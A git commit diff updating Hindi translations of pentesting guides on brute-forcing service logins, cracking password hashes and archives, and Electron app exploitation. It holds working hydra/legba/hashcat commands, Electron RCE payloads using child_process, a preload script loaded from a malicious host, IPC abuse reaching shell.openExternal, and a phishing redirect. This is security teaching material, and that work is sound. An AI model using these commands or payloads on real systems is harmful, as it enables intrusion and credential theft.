Translated ['src/generic-hacking/brute-force.md', 'src/network-services-

This commit is contained in:
Translator 2025-03-09 14:23:05 +00:00
parent a45b667258
commit e89140935e
5 changed files with 177 additions and 115 deletions

View File

@ -19,9 +19,9 @@
- [**https://many-passwords.github.io/**](https://many-passwords.github.io)
- [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **अपनी खुद की डिक्शनरी बनाएं**
## **अपने खुद के शब्दकोश बनाएं**
लक्ष्य के बारे में जितनी संभव हो सके जानकारी प्राप्त करें और एक कस्टम डिक्शनरी बनाएं। उपयोगी उपकरण:
लक्ष्य के बारे में जितनी संभव हो सके जानकारी प्राप्त करें और एक कस्टम शब्दकोश बनाएं। उपयोगी उपकरण:
### Crunch
```bash
@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
### वेबसाइट आधारित वर्डलिस्ट्स
```bash
# Cewl gets words from the victims page
cewl example.com -m 5 -w words.txt
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
cat /path/to/urls.txt | tok
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
cat /path/to/js-urls.txt | python3 getjswords.py
```
### [CUPP](https://github.com/Mebus/cupp)
@ -46,7 +53,7 @@ python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
एक शब्द सूची जनरेटर उपकरण, जो आपको शब्दों का एक सेट प्रदान करने की अनुमति देता है, जिससे आपको दिए गए शब्दों से कई भिन्नताएँ बनाने की संभावना मिलती है, एक अद्वितीय और आदर्श शब्द सूची बनाने के लिए जिसका उपयोग एक विशिष्ट लक्ष्य के संबंध में किया जा सके।
एक वर्डलिस्ट जनरेटर टूल, जो आपको शब्दों का एक सेट प्रदान करने की अनुमति देता है, जिससे आपको दिए गए शब्दों से कई भिन्नताएँ बनाने की संभावना मिलती है, एक अद्वितीय और आदर्श वर्डलिस्ट बनाने के लिए जिसका उपयोग किसी विशेष लक्ष्य के संबंध में किया जा सके।
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
@ -82,7 +89,7 @@ Finished in 0.920s.
## Services
सेवा नाम के अनुसार वर्णानुक्रम में क्रमबद्ध।
सेवा नाम के अनुसार वर्णानुक्रम में व्यवस्थित।
### AFP
```bash
@ -149,7 +156,7 @@ legba http.ntlm2 --domain example.org --workstation client --username admin --pa
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
```
http**s** के लिए आपको "http-post-form" से "**https-post-form" में बदलना होगा**
http**s** के लिए आपको "http-post-form" से "**https-post-form" में बदलना होगा
### **HTTP - CMS --** (W)ordpress, (J)oomla या (D)rupal या (M)oodle
```bash
@ -167,7 +174,7 @@ legba imap --username user --password data/passwords.txt --target localhost:993
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
```
### आईएससीएसआई
### ISCSI
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
```
@ -271,7 +278,7 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
```
**oracle_login** को **patator** के साथ उपयोग करने के लिए आपको **install** करने की आवश्यकता है:
**oracle_login** का उपयग करने के लिए **patator** के साथ आपको **install** करने की आवश्यकता है:
```bash
pip3 install cx_Oracle --upgrade
```
@ -279,7 +286,7 @@ pip3 install cx_Oracle --upgrade
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
### पीओपी
### POP
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -313,7 +320,7 @@ ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
```
### रेडिस
### Redis
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
@ -374,7 +381,7 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
```
### SQL सर्वर
### SQL Server
```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -399,7 +406,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
### STOMP (ActiveMQ, RabbitMQ, HornetQ और OpenMQ)
STOMP टेक्स्ट प्रोटोकॉल एक व्यापक रूप से उपयोग किया जाने वाला मैसेजिंग प्रोटोकॉल है जो **लोकप्रिय मैसेज कतार सेवाओं** जैसे RabbitMQ, ActiveMQ, HornetQ, और OpenMQ के साथ निर्बाध संचार और इंटरैक्शन की अनुमति देता है। यह संदेशों का आदान-प्रदान करने और विभिन्न मैसेजिंग संचालन करने के लिए एक मानकीकृत और कुशल दृष्टिकोण प्रदान करता है।
STOMP टेक्स्ट प्रोटोकॉल एक व्यापक रूप से उपयोग किया जाने वाला मैसेजिंग प्रोटोकॉल है जो **लोकप्रिय संदेश कतार सेवाओं** जैसे RabbitMQ, ActiveMQ, HornetQ, और OpenMQ के साथ निर्बाध संचार और इंटरैक्शन की अनुमति देता है। यह संदेशों का आदान-प्रदान करने और विभिन्न मैसेजिंग संचालन करने के लिए एक मानकीकृत और कुशल दृष्टिकोण प्रदान करता है।
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
@ -437,23 +444,23 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
```
## स्थानीय
## Local
### ऑनलाइन क्रैकिंग डेटाबेस
### Online cracking databases
- [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 के साथ/बिना ESS/SSP और किसी भी चुनौती के मान के साथ)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (हैश, WPA2 कैप्चर, और MSOffice, ZIP, PDF के आर्काइव...)
- [https://crackstation.net/](https://crackstation.net) (हैश)
- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...)
- [https://crackstation.net/](https://crackstation.net) (Hashes)
- [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
- [https://gpuhash.me/](https://gpuhash.me) (हैश और फ़ाइल हैश)
- [https://hashes.org/search.php](https://hashes.org/search.php) (हैश)
- [https://www.cmd5.org/](https://www.cmd5.org) (हैश)
- [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes)
- [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
- [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
- [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
- [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
हैश को ब्रूट फोर्स करने की कोशिश करने से पहले इसे देखें।
Hash को ब्रूट फोर्स करने की कोशिश करने से पहले इसे देखें।
### ZIP
```bash
@ -471,9 +478,9 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### ज्ञात plaintext ज़िप हमला
#### ज्ञात प्लेनटेक्स्ट ज़िप हमला
आपको **encrypted zip** के अंदर मौजूद **फाइल का plaintext** (या plaintext का एक भाग) जानना आवश्यक है। आप **encrypted zip** के अंदर मौजूद **फाइलों के नाम और आकार** की जांच कर सकते हैं: **`7z l encrypted.zip`**\
आपको **एन्क्रिप्टेड ज़िप के अंदर** एक फ़ाइल का **प्लेनटेक्स्ट** (या प्लेनटेक्स्ट का एक भाग) जानना आवश्यक है। आप **एन्क्रिप्टेड ज़िप के अंदर शामिल फ़ाइलों के फ़ाइल नाम और आकार** की जांच कर सकते हैं: **`7z l encrypted.zip`**\
[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) को रिलीज़ पृष्ठ से डाउनलोड करें।
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
@ -506,9 +513,9 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
```
### PDF मालिक पासवर्ड
### PDF Owner Password
PDF मालिक पासवर्ड क्रैक करने के लिए यह जांचें: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
PDF Owner पासवर्ड को क्रैक करने के लिए यह देखें: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
### JWT
```bash
@ -536,7 +543,7 @@ keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a f
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
### केबरोस्टिंग
### Keberoasting
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
@ -581,7 +588,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
### DPAPI मास्टर कुंजी
Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john
उपयोग करें [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) और फिर john
### ओपन ऑफिस पासवर्ड से सुरक्षित कॉलम
@ -645,7 +652,7 @@ hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
- **Wordlist combinator** हमला
hashcat के साथ **2 वर्डलिस्ट को 1 में मिलाना** संभव है।\
hashcat के साथ **2 wordlists को 1 में मिलाना** संभव है।\
यदि सूची 1 में शब्द **"hello"** था और दूसरी में **"world"** और **"earth"** के साथ 2 पंक्तियाँ थीं। शब्द `helloworld` और `helloearth` उत्पन्न होंगे।
```bash
# This will combine 2 wordlists

View File

@ -4,7 +4,7 @@
## Introduction
Electron एक स्थानीय बैकएंड (जिसमें **NodeJS**) और एक फ्रंटंड (**Chromium**) को मिलाता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्रों की कमी है।
Electron एक स्थानीय बैकएंड (जिसमें **NodeJS**) और एक फ्रंटंड (**Chromium**) को मिलाता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्रों की कमी है।
आमतौर पर आप इलेक्ट्रॉन ऐप कोड को एक `.asar` एप्लिकेशन के अंदर पाएंगे, कोड प्राप्त करने के लिए आपको इसे निकालना होगा:
```bash
@ -32,12 +32,12 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**renderer process** की सेटिंग्स को **main process** में main.js फ़ाइल के अंदर **कॉन्फ़िगर** किया जा सकता है। कुछ कॉन्फ़िगरेशन **Electron एप्लिकेशन को RCE** या अन्य कमजोरियों से **रोकने** में मदद करेंगे यदि **सेटिंग्स को सही तरीके से कॉन्फ़िगर** किया गया है।
**renderer process** की सेटिंग्स क **main process** में main.js फ़ाइल के अंदर **config किया** जा सकता है। कुछ कॉन्फ़िगरेशन **Electron एप्लिकेशन को RCE** या अन्य कमजोरियों से **रोकने** में मदद करेंगे यदि **सेटिंग्स को सही तरीके से कॉन्फ़िगर किया गया** है।
Electron एप्लिकेशन **डिवाइस तक पहुँच** सकता है Node APIs के माध्यम से, हालाँकि इसे रोकने के लिए कॉन्फ़िगर किया जा सकता है:
- **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` है। यदि चालू है, तो यह renderer process से node सुविधाओं तक पहुँचने की अनुमति देता है।
- **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` है। यदि बंद है, तो मुख्य और renderer प्रक्रियाएँ अलग नहीं होती हैं।
- **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` है। यदि बंद है, तो मुख्य और renderer processes अलग नहीं होते हैं।
- **`preload`** - डिफ़ॉल्ट रूप से खाली है।
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से बंद है। यह NodeJS द्वारा किए जा सकने वाले कार्यों को प्रतिबंधित करेगा।
- Workers में Node Integration
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
कुछ **RCE payloads** [यहाँ](https://7as.es/electron/nodeIntegration_rce.txt) से:
कुछ **RCE पेलोड** [यहाँ](https://7as.es/electron/nodeIntegration_rce.txt) से:
```html
Example Payloads (Windows):
<img
@ -95,13 +95,13 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Capture traffic
### ट्रैफ़िक कैप्चर करें
स्टार्ट-मेन कॉन्फ़िगरेशन को संशोधित करें और एक प्रॉक्सी का उपयोग जोड़ें जैसे:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron स्थानीय कोड इंजेक्शन
## Electron Local Code Injection
यदि आप स्थानीय रूप से एक Electron ऐप को निष्पादित कर सकते हैं, तो यह संभव है कि आप इसे मनमाना जावास्क्रिप्ट कोड निष्पादित करने के लिए बना सकें। जानें कैसे:
@ -111,7 +111,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
## RCE: XSS + nodeIntegration
यदि **nodeIntegration** को **चालू** किया गया है, तो एक वेब पृष्ठ का जावास्क्रिप्ट आसानी से Node.js सुविधाओं का उपयोग कर सकता है बस `require()` को कॉल करके। उदाहरण के लिए, Windows पर calc एप्लिकेशन को निष्पादित करने का तरीका है:
यदि **nodeIntegration** को **on** पर सेट किया गया है, तो एक वेब पृष्ठ का जावास्क्रिप्ट आसानी से Node.js सुविधाओं का उपयोग कर सकता है बस `require()` को कॉल करके। उदाहरण के लिए, Windows पर calc एप्लिकेशन को निष्पादित करने का तरीका है:
```html
<script>
require("child_process").exec("calc")
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
इस सेटिंग में निर्दिष्ट स्क्रिप्ट **renderer में अन्य स्क्रिप्ट्स से पहले लोड होती है**, इसलिए इसे **Node APIs तक असीमित पहुंच** है:
इस सेटिंग में निर्दिष्ट स्क्रिप्ट **renderer में अन्य स्क्रिप्ट से पहले लोड होती है**, इसलिए इसे **Node APIs तक असीमित पहुंच** है:
```javascript
new BrowserWindow{
webPreferences: {
@ -152,16 +152,16 @@ runCalc()
## RCE: XSS + contextIsolation
_**contextIsolation**_ **वेब पृष्ठ स्क्रिप्ट और JavaScript Electron के आंतरिक कोड के बीच अलग-अलग संदर्भों** को पेश करता है ताकि प्रत्येक कोड का JavaScript निष्पादन एक-दूसरे को प्रभावित न करे। यह RCE की संभावना को समाप्त करने के लिए एक आवश्यक विशेषता है।
_**contextIsolation**_ **वेब पृष्ठ स्क्रिप्ट और JavaScript Electron के आंतरिक कोड के बीच अलग-अलग संदर्भों को पेश करता है** ताकि प्रत्येक कोड का JavaScript निष्पादन एक-दूसरे को प्रभावित न करे। यह RCE की संभावना को समाप्त करने के लिए एक आवश्यक विशेषता है।
यदि संदर्भ अलग नहीं हैं, तो एक हमलावर कर सकता है:
1. **renderer में मनमाना JavaScript निष्पादित करें** (XSS या बाहरी साइटों पर नेविगेशन)
2. **बिल्ट-इन विधि को ओवरराइट करें** जो प्रीलोड या Electron आंतरिक कोड में अपने फ़ंक्शन के लिए उपयोग की जाती है
3. **ओवरराइट की गई फ़ंक्शन** का उपयोग करने के लिए **ट्रिगर करें**
2. **प्रीलोड या Electron आंतरिक कोड में उपयोग किए जाने वाले अंतर्निहित विधि को ओवरराइट करें**
3. **ओवरराइट की गई विधि** का उपयोग **प्रेरित करें**
4. RCE?
बिल्ट-इन विधियों को ओवरराइट करने के लिए 2 स्थान हैं: प्रीलोड कोड में या Electron आंतरिक कोड में:
अंतर्निहित विधियों को ओवरराइट करने के लिए 2 स्थान हैं: प्रीलोड कोड में या Electron आंतरिक कोड में:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
@ -177,24 +177,24 @@ electron-contextisolation-rce-via-ipc.md
### क्लिक इवेंट बायपास करें
यदि लिंक पर क्लिक करते समय प्रतिबंध लागू होते हैं, तो आप **एक सामान्य बाएं क्लिक के बजाय एक मध्य क्लिक** करके उन्हें बायपास करने में सक्षम हो सकते हैं।
यदि लिंक पर क्लिक करते समय प्रतिबंध लागू होते हैं, तो आप **सामान्य बाएं क्लिक के बजाय मध्य क्लिक करके** उन्हें बायपास करने में सक्षम हो सकते हैं।
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
इस उदाहरणों के बारे में अधिक जानकारी के लिए देखें [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) और [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
जब एक Electron डेस्कटॉप एप्लिकेशन को तैनात किया जाता है, तो `nodeIntegration` और `contextIsolation` के लिए सही सेटिंग्स सुनिश्चित करना महत्वपूर्ण है। यह स्थापित किया गया है कि **क्लाइंट-साइड रिमोट कोड निष्पादन (RCE)** जो प्रीलोड स्क्रिप्ट या मुख्य प्रक्रिया से Electron के मूल कोड को लक्षित करता है, इन सेटिंग्स के साथ प्रभावी रूप से रोका जाता है।
जब एक उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नए विंडो खोलता है, तो विशिष्ट इवेंट लिस्नर्स ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:
जब एक उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नए विंडो खोलता है, तो विशिष्ट इवेंट लिस्नर्स सक्रिय होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
ये श्रोता **डेस्कटॉप एप्लिकेशन द्वारा ओवरराइड किए जाते हैं** ताकि इसका अपना **व्यापारिक तर्क** लागू किया जा सके। एप्लिकेशन यह मूल्यांकन करता है कि क्या एक नेविगेटेड लिंक को आंतरिक रूप से खोला जाना चाहिए या एक बाहरी वेब ब्राउज़र में। यह निर्णय आमतौर पर एक फ़ंक्शन, `openInternally` के माध्यम से लिया जाता है। यदि यह फ़ंक्शन `false` लौटाता है, तो इसका मतलब है कि लिंक को बाहरी रूप से खोला जाना चाहिए, `shell.openExternal` फ़ंक्शन का उपयोग करते हुए।
ये श्रोता **डेस्कटॉप एप्लिकेशन द्वारा अधिलेखित** किए जाते हैं ताकि इसका अपना **व्यापारिक तर्क** लागू किया जा सके। एप्लिकेशन यह मूल्यांकन करता है कि क्या एक नेविगेटेड लिंक को आंतरिक रूप से खोला जाना चाहिए या एक बाहरी वेब ब्राउज़र में। यह निर्णय आमतौर पर एक फ़ंक्शन, `openInternally` के माध्यम से लिया जाता है। यदि यह फ़ंक्शन `false` लौटाता है, तो इसका मतलब है कि लिंक को बाहरी रूप से खोला जाना चाहिए, `shell.openExternal` फ़ंक्शन का उपयोग करते हुए।
**यहां एक सरल pseudocode है:**
**यहां एक सरल उप pseudocode है:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
@ -224,7 +224,28 @@ window.open(
)
</script>
```
## Reading Internal Files: XSS + contextIsolation
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
यह vuln **[इस रिपोर्ट](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** में पाया जा सकता है।
**webviewTag** एक **deprecated feature** है जो **renderer process** में **NodeJS** के उपयोग की अनुमति देता है, जिसे बंद कर देना चाहिए क्योंकि यह preload context के अंदर एक स्क्रिप्ट लोड करने की अनुमति देता है जैसे:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
इसलिए, एक हमलावर जो एक मनमाना पृष्ठ लोड करने में सफल होता है, वह उस टैग का उपयोग करके **एक मनमाना प्रीलोड स्क्रिप्ट लोड** कर सकता है।
इस प्रीलोड स्क्रिप्ट का दुरुपयोग किया गया था ताकि **कमजोर IPC सेवा (`skype-new-window`)** को कॉल किया जा सके, जो **`shell.openExternal`** को कॉल कर रहा था ताकि RCE प्राप्त किया जा सके:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## आंतरिक फ़ाइलें पढ़ना: XSS + contextIsolation
**`contextIsolation` को अक्षम करना `<webview>` टैग के उपयोग की अनुमति देता है**, जो `<iframe>` के समान है, स्थानीय फ़ाइलों को पढ़ने और निकालने के लिए। एक उदाहरण दिया गया है जो इस भेद्यता का उपयोग करके आंतरिक फ़ाइलों की सामग्री पढ़ने का प्रदर्शन करता है:
@ -246,41 +267,45 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + Old Chromium**
## **RCE: XSS + पुराना Chromium**
यदि एप्लिकेशन द्वारा उपयोग किया जाने वाला **chromium** **पुराना** है और इसमें **ज्ञात** **कमजोरियाँ** हैं, तो इसे **शोषित करना और XSS के माध्यम से RCE प्राप्त करना संभव हो सकता है।**\
यदि एप्लिकेशन द्वारा उपयोग किया जाने वाला **chromium** **पुराना** है और इसमें **ज्ञात** **कमजोरियाँ** हैं, तो इसे **शोषित करना और XSS के माध्यम से RCE प्राप्त करना** संभव हो सकता है।\
आप इस **writeup** में एक उदाहरण देख सकते हैं: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
## **XSS फ़िशिंग आंतरिक URL regex बायपास के माध्यम से**
मान लीजिए कि आपने एक XSS पाया है लेकिन आप **RCE को ट्रिगर नहीं कर सकते या आंतरिक फ़ाइलें चुरा नहीं सकते**, तो आप इसे **फिशिंग के माध्यम से क्रेडेंशियल्स चुराने** के लिए उपयोग करने की कोशिश कर सकते हैं।
मान लीजिए कि आपने एक XSS पाया है लेकिन आप **RCE को ट्रिगर नहीं कर सकते या आंतरिक फ़ाइलें चुरा नहीं सकते**, तो आप इसे **फिशिंग के माध्यम से क्रेडेंशियल्स चुराने** के लिए उपयोग करने की कोशिश कर सकते हैं।
सबसे पहले, आपको यह जानने की आवश्यकता है कि जब आप एक नया URL खोलने की कोशिश करते हैं, तो फ्रंट-एंड में JS कोड की जांच करते समय क्या होता है:
सबसे पहले, आपको यह जानने की आवश्यकता है कि जब आप एक नया URL खोलने की कोशिश करते हैं, तो फ्रंट-एंड में JS कोड में क्या होता है:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
**`openInternally`** को कॉल यह तय करेगा कि **link** **desktop window** में **खुला** जाएगा क्योंकि यह प्लेटफ़ॉर्म से संबंधित एक लिंक है, **या** इसे **browser में 3rd party resource** के रूप में खोला जाएगा।
**`openInternally`** को कॉल करने से यह तय होगा कि **link** **desktop window** में **खुली** जाएगी क्योंकि यह प्लेटफ़ॉर्म से संबंधित है, **या** इसे **browser में 3rd party resource** के रूप में खोला जाएगा।
यदि फ़ंक्शन द्वारा उपयोग किया गया **regex** **bypasses** के लिए **vulnerable** है (उदाहरण के लिए **subdomains** के डॉट्स को **escape** न करके), तो एक हमलावर XSS का दुरुपयोग कर सकता है ताकि **एक नई विंडो खोली जा सके** जो हमलावर की अवसंरचना में स्थित होगी **उपयोगकर्ता से क्रेडेंशियल्स** मांगते हुए:
यदि फ़ंक्शन द्वारा उपयोग किया गया **regex** **bypasses** के लिए **vulnerable** है (उदाहरण के लिए **subdomains** के डॉट्स को **escape** न करके), तो एक हमलावर XSS का दुरुपयोग कर सकता है ताकि **एक नई विंडो खोली जा** जो हमलावर की अवसंरचना में स्थित होगी **उपयोगकर्ता से क्रेडेंशियल्स** मांगते हुए:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## Remote module
## `file://` प्रोटोकॉल
Electron Remote module **renderer processes को मुख्य प्रक्रिया APIs तक पहुँचने की अनुमति देता है**, जो Electron एप्लिकेशन के भीतर संचार को सुविधाजनक बनाता है। हालाँकि, इस मॉड्यूल को सक्षम करना महत्वपूर्ण सुरक्षा जोखिमों को पेश करता है। यह एप्लिकेशन के हमले की सतह को बढ़ाता है, जिससे यह क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों जैसी कमजोरियों के प्रति अधिक संवेदनशील हो जाता है।
जैसा कि [दस्तावेज़ों](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) में उल्लेख किया गया है, **`file://`** पर चलने वाले पृष्ठों को आपके मशीन पर हर फ़ाइल तक एकतरफा पहुंच होती है, जिसका अर्थ है कि **XSS समस्याओं का उपयोग उपयोगकर्ता की मशीन से मनमाने फ़ाइलों को लोड करने के लिए किया जा सकता है**। एक **कस्टम प्रोटोकॉल** का उपयोग इस तरह की समस्याओं को रोकता है क्योंकि आप प्रोटोकॉल को केवल विशिष्ट फ़ाइलों के सेट को सर्व करने तक सीमित कर सकते हैं।
## रिमोट मॉड्यूल
Electron रिमोट मॉड्यूल **रेन्डर प्रोसेस को मुख्य प्रोसेस APIs तक पहुंचने** की अनुमति देता है, जो Electron एप्लिकेशन के भीतर संचार को सुविधाजनक बनाता है। हालाँकि, इस मॉड्यूल को सक्षम करना महत्वपूर्ण सुरक्षा जोखिम पेश करता है। यह एप्लिकेशन के हमले की सतह को बढ़ाता है, जिससे यह क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों जैसी कमजोरियों के प्रति अधिक संवेदनशील हो जाता है।
> [!TIP]
> हालाँकि **remote** मॉड्यूल कुछ APIs को मुख्य से renderer प्रक्रियाओं में उजागर करता है, लेकिन केवल घटकों का दुरुपयोग करके RCE प्राप्त करना सीधा नहीं है। हालाँकि, घटक संवेदनशील जानकारी को उजागर कर सकते हैं।
> हालाँकि **रिमोट** मॉड्यूल कुछ APIs को मुख्य से रेन्डर प्रोसेस में उजागर करता है, केवल घटकों का दुरुपयोग करके RCE प्राप्त करना सीधा नहीं है। हालाँकि, घटक संवेदनशील जानकारी को उजागर कर सकते हैं।
> [!WARNING]
> कई ऐप्स जो अभी भी remote मॉड्यूल का उपयोग करते हैं, इसे इस तरह से करते हैं कि **renderer प्रक्रिया में NodeIntegration को सक्षम करना आवश्यक है**, जो एक **बड़ा सुरक्षा जोखिम** है।
> कई ऐप्स जो अभी भी रिमोट मॉड्यूल का उपयोग करते हैं, इसे इस तरह से करते हैं कि **रेन्डर प्रोसेस में NodeIntegration को सक्षम करने की आवश्यकता होती है**, जो एक **बड़ा सुरक्षा जोखिम** है।
Electron 14 से `remote` मॉड्यूल को सुरक्षा और प्रदर्शन कारणों से कई चरणों में सक्षम किया जा सकता है, इसलिए इसे **उपयोग न करने की सिफारिश की जाती है**।
Electron 14 से, Electron का `remote` मॉड्यूल कई कारणं से सुरक्षा और प्रदर्शन कारणों से **इसे उपयोग न करने की सिफारिश की जाती है**।
इसे सक्षम करने के लिए, सबसे पहले **मुख्य प्रक्रिया में इसे सक्षम करना आवश्यक है**:
इसे सक्षम करने के लिए, सबसे पहले **इसे मुख्य प्रोसेस में सक्षम करना आवश्यक है**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -298,28 +323,28 @@ import { dialog, getCurrentWindow } from '@electron/remote'
